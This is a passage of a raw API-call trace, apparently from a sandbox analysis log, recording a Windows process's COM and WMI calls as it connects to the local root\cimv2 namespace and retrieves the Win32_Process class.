This=0x1169200, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0089.450] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0089.450] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0089.450] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd848 | out: ppv=0x1b2fd848*=0x111f638) returned 0x0 [0089.450] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd838 | out: pAptType=0x1b2fd838*=1) returned 0x0 [0089.450] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd840 | out: ppvObject=0x1b2fd840*=0x0) returned 0x80004002 [0089.450] IUnknown:Release (This=0x111f638) returned 0x1 [0089.452] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc60 | out: ppv=0x1b2fcc60*=0x1c001a60) returned 0x0 [0089.452] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c001a60, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcca8 | out: ppvObject=0x1b2fcca8*=0x0) returned 0x80004002 [0089.452] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c001a60, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x1bea05f0) returned 0x0 [0089.452] WbemDefPath:IUnknown:Release (This=0x1c001a60) returned 0x0 [0089.452] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea05f0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca68 | out: ppvObject=0x1b2fca68*=0x1bea05f0) returned 0x0 [0089.452] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea05f0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb10 | out: ppvObject=0x1b2fcb10*=0x0) returned 0x80004002 [0089.452] WbemDefPath:IUnknown:AddRef (This=0x1bea05f0) returned 0x3 [0089.452] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea05f0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc1b8 | out: ppvObject=0x1b2fc1b8*=0x0) returned 0x80004002 [0089.452] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea05f0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc140 | out: ppvObject=0x1b2fc140*=0x0) returned 0x80004002 [0089.452] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea05f0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc130 | out: ppvObject=0x1b2fc130*=0x1c001980) returned 0x0 [0089.452] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c001980, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc158 | out: pCid=0x1b2fc158*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0089.452] WbemDefPath:IUnknown:Release (This=0x1c001980) returned 0x3 [0089.452] CoGetContextToken (in: pToken=0x1b2fc1e0 | out: pToken=0x1b2fc1e0) returned 0x0 [0089.453] CoGetContextToken (in: pToken=0x1b2fc660 | out: pToken=0x1b2fc660) returned 0x0 [0089.453] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea05f0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc720 | out: ppvObject=0x1b2fc720*=0x0) returned 0x80004002 [0089.453] WbemDefPath:IUnknown:Release (This=0x1bea05f0) returned 0x2 [0089.453] WbemDefPath:IUnknown:Release (This=0x1bea05f0) returned 0x1 [0089.453] CoGetContextToken (in: pToken=0x1b2fd480 | out: pToken=0x1b2fd480) returned 0x0 [0089.453] CoGetContextToken (in: pToken=0x1b2fd380 | out: pToken=0x1b2fd380) returned 0x0 [0089.453] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea05f0, riid=0x1b2fd4e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd4b0 | out: ppvObject=0x1b2fd4b0*=0x1bea05f0) returned 0x0 [0089.453] WbemDefPath:IUnknown:AddRef (This=0x1bea05f0) returned 0x3 [0089.453] WbemDefPath:IUnknown:Release (This=0x1bea05f0) returned 0x2 [0089.453] WbemDefPath:IWbemPath:SetText (This=0x1bea05f0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0089.453] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea05f0, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0089.453] WbemDefPath:IWbemPath:GetText (in: This=0x1bea05f0, lFlags=4, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0089.453] WbemDefPath:IWbemPath:GetText (in: This=0x1bea05f0, lFlags=4, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0089.453] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0089.453] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0089.453] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0089.453] IUnknown:Release (This=0x111f638) returned 0x1 [0089.454] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce80 | out: ppv=0x1b2fce80*=0x1c0016c0) returned 0x0 [0089.454] WbemLocator:IUnknown:QueryInterface (in: This=0x1c0016c0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcec8 | out: ppvObject=0x1b2fcec8*=0x0) returned 0x80004002 [0089.454] WbemLocator:IClassFactory:CreateInstance (in: This=0x1c0016c0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x1c0016e0) returned 0x0 [0089.454] WbemLocator:IUnknown:Release (This=0x1c0016c0) returned 0x0 [0089.454] WbemLocator:IUnknown:QueryInterface (in: This=0x1c0016e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc88 | out: ppvObject=0x1b2fcc88*=0x1c0016e0) returned 0x0 [0089.455] WbemLocator:IUnknown:QueryInterface (in: This=0x1c0016e0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcd30 | out: ppvObject=0x1b2fcd30*=0x0) returned 0x80004002 [0089.455] WbemLocator:IUnknown:AddRef (This=0x1c0016e0) returned 0x3 [0089.455] WbemLocator:IUnknown:QueryInterface (in: This=0x1c0016e0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc3d8 | out: ppvObject=0x1b2fc3d8*=0x0) returned 0x80004002 [0089.455] WbemLocator:IUnknown:QueryInterface (in: This=0x1c0016e0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc360 | out: ppvObject=0x1b2fc360*=0x0) returned 0x80004002 [0089.455] WbemLocator:IUnknown:QueryInterface (in: This=0x1c0016e0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc350 | out: ppvObject=0x1b2fc350*=0x0) returned 0x80004002 [0089.455] CoGetContextToken (in: pToken=0x1b2fc400 | out: pToken=0x1b2fc400) returned 0x0 [0089.455] CoGetContextToken (in: pToken=0x1b2fc880 | out: pToken=0x1b2fc880) returned 0x0 [0089.455] WbemLocator:IUnknown:QueryInterface (in: This=0x1c0016e0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc940 | out: ppvObject=0x1b2fc940*=0x0) returned 0x80004002 [0089.455] WbemLocator:IUnknown:Release (This=0x1c0016e0) returned 0x2 [0089.455] WbemLocator:IUnknown:Release (This=0x1c0016e0) returned 0x1 [0089.455] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0089.455] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0089.455] WbemLocator:IUnknown:QueryInterface (in: This=0x1c0016e0, riid=0x1b2fd490*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1c0016e0) returned 0x0 [0089.455] WbemLocator:IUnknown:AddRef (This=0x1c0016e0) returned 0x3 [0089.455] WbemLocator:IUnknown:Release (This=0x1c0016e0) returned 0x2 [0089.455] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea05f0, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0089.455] WbemDefPath:IWbemPath:GetText (in: This=0x1bea05f0, lFlags=8, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0089.456] WbemDefPath:IWbemPath:GetText (in: This=0x1bea05f0, lFlags=8, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0089.456] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd5a0 | out: ppv=0x1b2fd5a0*=0x1c001760) returned 0x0 [0089.456] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1c001760, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd708 | out: ppNamespace=0x1b2fd708*=0x1bf538a0) returned 0x0 [0089.469] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf538a0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd418 | out: ppvObject=0x1b2fd418*=0x11dfba0) returned 0x0 [0089.470] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x11dfba0, pProxy=0x1bf538a0, pAuthnSvc=0x1b2fd4e0, pAuthzSvc=0x1b2fd460, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464, pImpLevel=0x1b2fd46c, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468 | out: pAuthnSvc=0x1b2fd4e0*=0xa, pAuthzSvc=0x1b2fd460*=0x0, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464*=0x6, pImpLevel=0x1b2fd46c*=0x2, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468*=0x1) returned 0x0 [0089.470] WbemLocator:IUnknown:Release (This=0x11dfba0) returned 0x1 [0089.470] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf538a0, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3b0 | out: ppvObject=0x1b2fd3b0*=0x11dfbe0) returned 0x0 [0089.470] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf538a0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3c0 | out: ppvObject=0x1b2fd3c0*=0x11dfba0) returned 0x0 [0089.470] WbemLocator:IClientSecurity:SetBlanket (This=0x11dfba0, pProxy=0x1bf538a0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0089.470] WbemLocator:IUnknown:Release (This=0x11dfba0) returned 0x2 [0089.470] WbemLocator:IUnknown:Release (This=0x11dfbe0) returned 0x1 [0089.470] CoTaskMemFree (pv=0x1bf3d3a0) [0089.470] WbemLocator:IUnknown:AddRef (This=0x1bf538a0) returned 0x2 [0089.470] WbemLocator:IUnknown:Release (This=0x1c001760) returned 0x0 [0089.471] CoGetContextToken (in: pToken=0x1b2fc620 | out: pToken=0x1b2fc620) returned 0x0 [0089.471] CoGetContextToken (in: pToken=0x1b2fcaa0 | out: pToken=0x1b2fcaa0) returned 0x0 [0089.471] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf538a0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca20 | out: ppvObject=0x1b2fca20*=0x11dfbb0) returned 0x0 [0089.471] WbemLocator:IRpcOptions:Query (in: This=0x11dfbb0, pPrx=0x1c0017c0, dwProperty=2, pdwValue=0x1b2fcb50 | out: pdwValue=0x1b2fcb50) returned 0x80004002 [0089.471] WbemLocator:IUnknown:Release (This=0x11dfbb0) returned 0x2 [0089.471] CoGetContextToken (in: pToken=0x1b2fd170 | out: pToken=0x1b2fd170) returned 0x0 [0089.471] CoGetContextToken (in: pToken=0x1b2fd070 | out: pToken=0x1b2fd070) returned 0x0 [0089.471] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf538a0, riid=0x1b2fd1d0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fcff0 | out: ppvObject=0x1b2fcff0*=0x1bf538a0) returned 0x0 [0089.471] WbemLocator:IUnknown:Release (This=0x1bf538a0) returned 0x2 [0089.471] SysStringLen (param_1=0x0) returned 0x0 [0089.471] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea05f0, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0089.471] WbemDefPath:IWbemPath:GetText (in: This=0x1bea05f0, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0089.471] WbemDefPath:IWbemPath:GetText (in: This=0x1bea05f0, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0089.471] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0a70, lFlags=2, puBuffLength=0x1b2fd8a8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8a8*=0xe, pszText=0x0) returned 0x0 [0089.471] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0a70, lFlags=2, puBuffLength=0x1b2fd8a8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd8a8*=0xe, pszText="Win32_Process") returned 0x0 [0089.472] IWbemServices:GetObject (in: This=0x1bf538a0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd6f0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd6f0*=0x11ee670, ppCallResult=0x0) returned 0x0 [0089.475] IWbemClassObject:Get (in: This=0x11ee670, wszName="__PATH", lFlags=0, pVal=0x1b2fd7d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd928*=0, plFlavor=0x1b2fd920*=0 | out: pVal=0x1b2fd7d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b2fd928*=8, plFlavor=0x1b2fd920*=64) returned 0x0 [0089.475] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0089.475] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0089.475] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7f8 | out: ppv=0x1b2fd7f8*=0x111f638) returned 0x0 [0089.476] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7e8 | out: pAptType=0x1b2fd7e8*=1) returned 0x0 [0089.476] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7f0 | out: ppvObject=0x1b2fd7f0*=0x0) returned 0x80004002 [0089.476] IUnknown:Release (This=0x111f638) returned 0x1 [0089.477] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc10 | out: ppv=0x1b2fcc10*=0x1c001760) returned 0x0 [0089.478] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c001760, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x0) returned 0x80004002 [0089.478] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c001760, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc08 | out: ppvObject=0x1b2fcc08*=0x1bea0530) returned 0x0 [0089.478] WbemDefPath:IUnknown:Release (This=0x1c001760) returned 0x0 [0089.478] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0530, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca18 | out: ppvObject=0x1b2fca18*=0x1bea0530) returned 0x0 [0089.478] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0530, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcac0 | out: ppvObject=0x1b2fcac0*=0x0) returned 0x80004002 [0089.478] WbemDefPath:IUnknown:AddRef (This=0x1bea0530) returned 0x3 [0089.478] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0530, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc168 | out: ppvObject=0x1b2fc168*=0x0) returned 0x80004002 [0089.478] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0530, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0f0 | out: ppvObject=0x1b2fc0f0*=0x0) returned 0x80004002 [0089.478] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0530, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x1c001780) returned 0x0 [0089.478] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c001780, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc108 | out: pCid=0x1b2fc108*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0089.478] WbemDefPath:IUnknown:Release (This=0x1c001780) returned 0x3 [0089.478] CoGetContextToken (in: pToken=0x1b2fc190 | out: pToken=0x1b2fc190) returned 0x0 [0089.478] CoGetContextToken (in: pToken=0x1b2fc610 | out: pToken=0x1b2fc610) returned 0x0 [0089.479] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0530, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6d0 | out: ppvObject=0x1b2fc6d0*=0x0) returned 0x80004002 [0089.479] WbemDefPath:IUnknown:Release (This=0x1bea0530) returned 0x2 [0089.479] WbemDefPath:IUnknown:Release (This=0x1bea0530) returned 0x1 [0089.479] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0089.479] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0089.479] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0530, riid=0x1b2fd490*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1bea0530) returned 0x0 [0089.479] WbemDefPath:IUnknown:AddRef (This=0x1bea0530) returned 0x3 [0089.479] WbemDefPath:IUnknown:Release (This=0x1bea0530) returned 0x2 [0089.479] WbemDefPath:IWbemPath:SetText (This=0x1bea0530, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0089.479] IWbemClassObject:Get (in: This=0x11ee670, wszName="__SERVER", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), 